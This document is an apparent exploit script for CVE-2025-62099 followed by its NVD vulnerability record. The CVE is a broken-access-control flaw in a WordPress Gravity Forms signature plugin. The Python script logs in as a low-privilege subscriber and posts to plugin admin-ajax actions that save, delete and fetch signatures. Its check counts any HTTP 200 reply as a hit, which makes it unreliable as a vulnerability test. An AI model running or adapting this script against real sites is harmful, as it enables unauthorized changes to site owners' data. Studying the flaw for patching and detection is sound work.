CVE-2025-62099

# CVE-2025-62099 PoC - Gravity Signature Forms Add-On Broken Access Control # This PoC demonstrates the authorization bypass in gravity-signature-forms-add-on plugin import requests import sys TARGET_URL = "https://vulnerable-site.com" # Authentication credentials for a low-privilege user (subscriber role) USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit(): """ Exploit Missing Authorization vulnerability in gravity-signature-forms-add-on <= 1.8.6 This allows low-privilege users to perform admin-level actions. """ session = requests.Session() # Step 1: Authenticate as low-privilege user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Successfully logged in as low-privilege user") # Step 2: Exploit the broken access control # Target the vulnerable plugin endpoint vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=gravity_signature_save', '/wp-admin/admin-ajax.php?action=gravity_signature_delete', '/wp-admin/admin-ajax.php?action=gravity_signature_get' ] for endpoint in vulnerable_endpoints: exploit_url = f"{TARGET_URL}{endpoint}" exploit_data = { 'signature_id': '1', 'form_id': '1', 'signature_data': 'exploit_payload' } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[!] Potential vulnerability at: {endpoint}") print(f"Response: {response.text[:200]}") return True if __name__ == "__main__": print("CVE-2025-62099 Exploitation Script") print("Target: gravity-signature-forms-add-on <= 1.8.6") exploit()

{"cve": {"id": "CVE-2025-62099", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:45.820", "lastModified": "2026-04-23T15:34:32.223", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in approveme Signature Add-On for Gravity Forms gravity-signature-forms-add-on allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Signature Add-On for Gravity Forms: from n/a through <= 1.8.6."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en Approveme Signature Add-On para Gravity Forms permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Signature Add-On para Gravity Forms: desde n/a hasta 1.8.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gravity-signature-forms-add-on/vulnerability/wordpress-signature-add-on-for-gravity-forms-plugin-1-8-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}